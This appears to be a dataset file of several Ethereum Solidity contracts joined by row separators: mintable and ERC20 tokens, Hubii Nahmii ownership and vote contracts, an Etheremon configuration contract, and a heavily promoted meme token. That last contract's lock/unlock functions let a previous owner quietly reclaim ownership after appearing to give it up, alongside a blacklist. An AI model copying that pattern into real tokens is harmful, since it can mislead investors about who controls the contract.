//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) returns (bool is_contract) {
uint256 length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
if(length>0) {
return true;
}
else {
return false;
}
}
}
// Standard ERC23 token, backward compatible with ERC20 standards.
// Based on code by open-zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity.git
contract ERC23StandardToken is ERC23BasicToken {
mapping (address => mapping (address => uint256)) allowed;
event Approval (address indexed owner, address indexed spender, uint256 value);
function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is ERC23StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract BIGLUV is MintableToken {
string public name="BIGLUV";
string public symbol="BLV";
uint8 public decimals=18;
} | True | [
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] | [
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] |
/**
*Submitted for verification at Etherscan.io on 2019-07-11
*/
pragma solidity ^0.4.25;
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title Modifiable
* @notice A contract with basic modifiers
*/
contract Modifiable {
//
// Modifiers
// -----------------------------------------------------------------------------------------------------------------
modifier notNullAddress(address _address) {
require(_address != address(0));
_;
}
modifier notThisAddress(address _address) {
require(_address != address(this));
_;
}
modifier notNullOrThisAddress(address _address) {
require(_address != address(0));
require(_address != address(this));
_;
}
modifier notSameAddresses(address _address1, address _address2) {
if (_address1 != _address2)
_;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title SelfDestructible
* @notice Contract that allows for self-destruction
*/
contract SelfDestructible {
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
bool public selfDestructionDisabled;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event SelfDestructionDisabledEvent(address wallet);
event TriggerSelfDestructionEvent(address wallet);
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Get the address of the destructor role
function destructor()
public
view
returns (address);
/// @notice Disable self-destruction of this contract
/// @dev This operation can not be undone
function disableSelfDestruction()
public
{
// Require that sender is the assigned destructor
require(destructor() == msg.sender);
// Disable self-destruction
selfDestructionDisabled = true;
// Emit event
emit SelfDestructionDisabledEvent(msg.sender);
}
/// @notice Destroy this contract
function triggerSelfDestruction()
public
{
// Require that sender is the assigned destructor
require(destructor() == msg.sender);
// Require that self-destruction has not been disabled
require(!selfDestructionDisabled);
// Emit event
emit TriggerSelfDestructionEvent(msg.sender);
// Self-destruct and reward destructor
selfdestruct(msg.sender);
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title Ownable
* @notice A modifiable that has ownership roles
*/
contract Ownable is Modifiable, SelfDestructible {
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
address public deployer;
address public operator;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event SetDeployerEvent(address oldDeployer, address newDeployer);
event SetOperatorEvent(address oldOperator, address newOperator);
//
// Constructor
// -----------------------------------------------------------------------------------------------------------------
constructor(address _deployer) internal notNullOrThisAddress(_deployer) {
deployer = _deployer;
operator = _deployer;
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Return the address that is able to initiate self-destruction
function destructor()
public
view
returns (address)
{
return deployer;
}
/// @notice Set the deployer of this contract
/// @param newDeployer The address of the new deployer
function setDeployer(address newDeployer)
public
onlyDeployer
notNullOrThisAddress(newDeployer)
{
if (newDeployer != deployer) {
// Set new deployer
address oldDeployer = deployer;
deployer = newDeployer;
// Emit event
emit SetDeployerEvent(oldDeployer, newDeployer);
}
}
/// @notice Set the operator of this contract
/// @param newOperator The address of the new operator
function setOperator(address newOperator)
public
onlyOperator
notNullOrThisAddress(newOperator)
{
if (newOperator != operator) {
// Set new operator
address oldOperator = operator;
operator = newOperator;
// Emit event
emit SetOperatorEvent(oldOperator, newOperator);
}
}
/// @notice Gauge whether message sender is deployer or not
/// @return true if msg.sender is deployer, else false
function isDeployer()
internal
view
returns (bool)
{
return msg.sender == deployer;
}
/// @notice Gauge whether message sender is operator or not
/// @return true if msg.sender is operator, else false
function isOperator()
internal
view
returns (bool)
{
return msg.sender == operator;
}
/// @notice Gauge whether message sender is operator or deployer on the one hand, or none of these on these on
/// on the other hand
/// @return true if msg.sender is operator, else false
function isDeployerOrOperator()
internal
view
returns (bool)
{
return isDeployer() || isOperator();
}
// Modifiers
// -----------------------------------------------------------------------------------------------------------------
modifier onlyDeployer() {
require(isDeployer());
_;
}
modifier notDeployer() {
require(!isDeployer());
_;
}
modifier onlyOperator() {
require(isOperator());
_;
}
modifier notOperator() {
require(!isOperator());
_;
}
modifier onlyDeployerOrOperator() {
require(isDeployerOrOperator());
_;
}
modifier notDeployerOrOperator() {
require(!isDeployerOrOperator());
_;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title Community vote
* @notice An oracle for relevant decisions made by the community.
*/
contract CommunityVote is Ownable {
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
mapping(address => bool) doubleSpenderByWallet;
uint256 maxDriipNonce;
uint256 maxNullNonce;
bool dataAvailable;
//
// Constructor
// -----------------------------------------------------------------------------------------------------------------
constructor(address deployer) Ownable(deployer) public {
dataAvailable = true;
}
//
// Results functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Get the double spender status of given wallet
/// @param wallet The wallet address for which to check double spender status
/// @return true if wallet is double spender, false otherwise
function isDoubleSpenderWallet(address wallet)
public
view
returns (bool)
{
return doubleSpenderByWallet[wallet];
}
/// @notice Get the max driip nonce to be accepted in settlements
/// @return the max driip nonce
function getMaxDriipNonce()
public
view
returns (uint256)
{
return maxDriipNonce;
}
/// @notice Get the max null settlement nonce to be accepted in settlements
/// @return the max driip nonce
function getMaxNullNonce()
public
view
returns (uint256)
{
return maxNullNonce;
}
/// @notice Get the data availability status
/// @return true if data is available
function isDataAvailable()
public
view
returns (bool)
{
return dataAvailable;
}
} | True | [
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] |
pragma solidity ^0.4.16;
// copyright <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="2e4d41405a4f4d5a6e6b5a464b5c4b434140004d4143">[email protected]</a>
contract BasicAccessControl {
address public owner;
// address[] public moderators;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = false;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
contract EtheremonTransformSetting is BasicAccessControl {
uint32[] public randomClassIds = [32, 97, 80, 73, 79, 81, 101, 103, 105];
mapping(uint32 => uint8) public layingEggLevels;
mapping(uint32 => uint8) public layingEggDeductions;
mapping(uint32 => uint8) public transformLevels;
mapping(uint32 => uint32) public transformClasses;
function setConfigClass(uint32 _classId, uint8 _layingLevel, uint8 _layingCost, uint8 _transformLevel, uint32 _tranformClass) onlyModerators public {
layingEggLevels[_classId] = _layingLevel;
layingEggDeductions[_classId] = _layingCost;
transformLevels[_classId] = _transformLevel;
transformClasses[_classId] = _tranformClass;
}
function addRandomClass(uint32 _newClassId) onlyModerators public {
if (_newClassId > 0) {
for (uint index = 0; index < randomClassIds.length; index++) {
if (randomClassIds[index] == _newClassId) {
return;
}
}
randomClassIds.push(_newClassId);
}
}
function removeRandomClass(uint32 _oldClassId) onlyModerators public {
uint foundIndex = 0;
for (; foundIndex < randomClassIds.length; foundIndex++) {
if (randomClassIds[foundIndex] == _oldClassId) {
break;
}
}
if (foundIndex < randomClassIds.length) {
randomClassIds[foundIndex] = randomClassIds[randomClassIds.length-1];
delete randomClassIds[randomClassIds.length-1];
randomClassIds.length--;
}
}
function initMonsterClassConfig() onlyModerators external {
setConfigClass(1, 0, 0, 20, 38);
setConfigClass(2, 0, 0, 20, 39);
setConfigClass(3, 0, 0, 26, 40);
setConfigClass(4, 0, 0, 20, 41);
setConfigClass(5, 0, 0, 20, 42);
setConfigClass(6, 0, 0, 25, 43);
setConfigClass(7, 0, 0, 28, 44);
setConfigClass(8, 0, 0, 25, 45);
setConfigClass(9, 0, 0, 27, 46);
setConfigClass(10, 0, 0, 29, 47);
setConfigClass(11, 0, 0, 25, 48);
setConfigClass(12, 0, 0, 26, 49);
setConfigClass(18, 0, 0, 28, 50);
setConfigClass(20, 0, 0, 20, 51);
setConfigClass(24, 0, 0, 39, 89);
setConfigClass(25, 0, 0, 20, 52);
setConfigClass(26, 0, 0, 21, 53);
setConfigClass(27, 0, 0, 28, 54);
setConfigClass(28, 35, 5, 28, 55);
setConfigClass(29, 35, 5, 27, 56);
setConfigClass(30, 35, 5, 28, 57);
setConfigClass(31, 34, 5, 27, 58);
setConfigClass(32, 34, 5, 27, 59);
setConfigClass(33, 33, 5, 28, 60);
setConfigClass(34, 31, 5, 21, 61);
setConfigClass(37, 34, 5, 26, 62);
setConfigClass(38, 0, 0, 40, 64);
setConfigClass(39, 0, 0, 40, 65);
setConfigClass(41, 0, 0, 39, 66);
setConfigClass(42, 0, 0, 42, 67);
setConfigClass(51, 0, 0, 37, 68);
setConfigClass(52, 0, 0, 39, 69);
setConfigClass(53, 0, 0, 38, 70);
setConfigClass(61, 0, 0, 39, 71);
setConfigClass(62, 0, 0, 5, 63);
setConfigClass(77, 36, 5, 32, 82);
setConfigClass(78, 35, 5, 30, 83);
setConfigClass(79, 32, 5, 23, 84);
setConfigClass(80, 35, 5, 29, 85);
setConfigClass(81, 34, 5, 24, 86);
setConfigClass(84, 0, 0, 38, 87);
setConfigClass(86, 0, 0, 41, 88);
setConfigClass(89, 0, 0, 42, 158);
setConfigClass(90, 0, 0, 28, 91);
setConfigClass(91, 0, 0, 38, 92);
setConfigClass(93, 0, 0, 28, 94);
setConfigClass(94, 0, 0, 38, 95);
setConfigClass(97, 35, 5, 32, 98);
setConfigClass(99, 34, 5, 30, 100);
setConfigClass(101, 36, 5, 31, 102);
setConfigClass(103, 39, 7, 30, 104);
setConfigClass(106, 34, 5, 31, 107);
setConfigClass(107, 0, 0, 43, 108);
setConfigClass(116, 0, 0, 27, 117);
setConfigClass(117, 0, 0, 37, 118);
setConfigClass(119, 0, 0, 28, 120);
setConfigClass(120, 0, 0, 37, 121);
setConfigClass(122, 0, 0, 29, 123);
setConfigClass(123, 0, 0, 36, 124);
setConfigClass(125, 0, 0, 26, 126);
setConfigClass(126, 0, 0, 37, 127);
setConfigClass(128, 0, 0, 26, 129);
setConfigClass(129, 0, 0, 38, 130);
setConfigClass(131, 0, 0, 27, 132);
setConfigClass(132, 0, 0, 37, 133);
setConfigClass(134, 0, 0, 35, 135);
setConfigClass(136, 0, 0, 36, 137);
setConfigClass(138, 0, 0, 36, 139);
setConfigClass(140, 0, 0, 35, 141);
setConfigClass(142, 0, 0, 36, 143);
setConfigClass(144, 0, 0, 34, 145);
setConfigClass(146, 0, 0, 36, 147);
setConfigClass(148, 0, 0, 26, 149);
setConfigClass(149, 0, 0, 37, 150);
setConfigClass(151, 0, 0, 36, 152);
setConfigClass(156, 0, 0, 38, 157);
}
// read access
function getRandomClassId(uint _seed) constant external returns(uint32) {
return randomClassIds[_seed % randomClassIds.length];
}
function getLayEggInfo(uint32 _classId) constant external returns(uint8 layingLevel, uint8 layingCost) {
layingLevel = layingEggLevels[_classId];
layingCost = layingEggDeductions[_classId];
}
function getTransformInfo(uint32 _classId) constant external returns(uint32 transformClassId, uint8 level) {
transformClassId = transformClasses[_classId];
level = transformLevels[_classId];
}
function getClassTransformInfo(uint32 _classId) constant external returns(uint8 layingLevel, uint8 layingCost, uint8 transformLevel, uint32 transformCLassId) {
layingLevel = layingEggLevels[_classId];
layingCost = layingEggDeductions[_classId];
transformLevel = transformLevels[_classId];
transformCLassId = transformClasses[_classId];
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-08-02
*/
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract KoshkaMinu is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "KoshkaMinu";
symbol = "KIMU";
decimals = 18;
_totalSupply = 10000000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2022-03-21
*/
/*
RED PLANET APE
PROJECT : RED PLANET APE
CHAIN : ERC20
SYMBOL : $PLANETAPE
SUPPLY : 1,000,000,000,000,000,000
SLIPPAGE : 14%
YOU CAN MISSED APE COIN, BUT DO NOT MISS “RED PLANET APE”
MASSIVE MARKETING INCOMING
UNISWAP MOONSHOT
DAILY GIVEAWAY ( 0.1 ETH PRIZE )
BIG BUY CONTEST
MEME CONTEST
DAILY AMA
TELEGRAM: https://t.me/redplanetape
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract REDPLANETAPE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
uint256 private _totalSupply = 1 * 10**15 * 10**9;
string private _name = "RED PLANET APE";
string private _symbol = "$PLANETAPE";
uint8 private _decimals = 9;
address payable public marketingWalletAddress = payable(0x9C531978cd7981033360E680bdec8222aA4a1D17);
address payable public giveawayWalletAddress = payable(0x2b6b34992a0f33Db04aC539547028876bBB1699d);
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public _antidump = 0;
uint256 public _tax = 0;
uint256 public _antisniperblock = 0;
uint256 private minimumTokensBeforeSwap = 10000 * 10**9;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isWalletLimitExempt;
mapping (address => bool) public isBlacklisted;
uint256 public _liquidityFee = 2;
uint256 public _marketingFee = 5;
uint256 public _giveawayFee = 5;
uint256 public _maxtrx = 2 * 10**9 * 10**13;
uint256 public _walletMax = 3 * 10**13 * 10**9;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
bool public checkWalletLimit = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
_tax = _liquidityFee.add(_marketingFee).add(_giveawayFee);
_antisniperblock = _tax.add(_antidump);
isWalletLimitExempt[owner()] = true;
isWalletLimitExempt[address(uniswapV2Pair)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
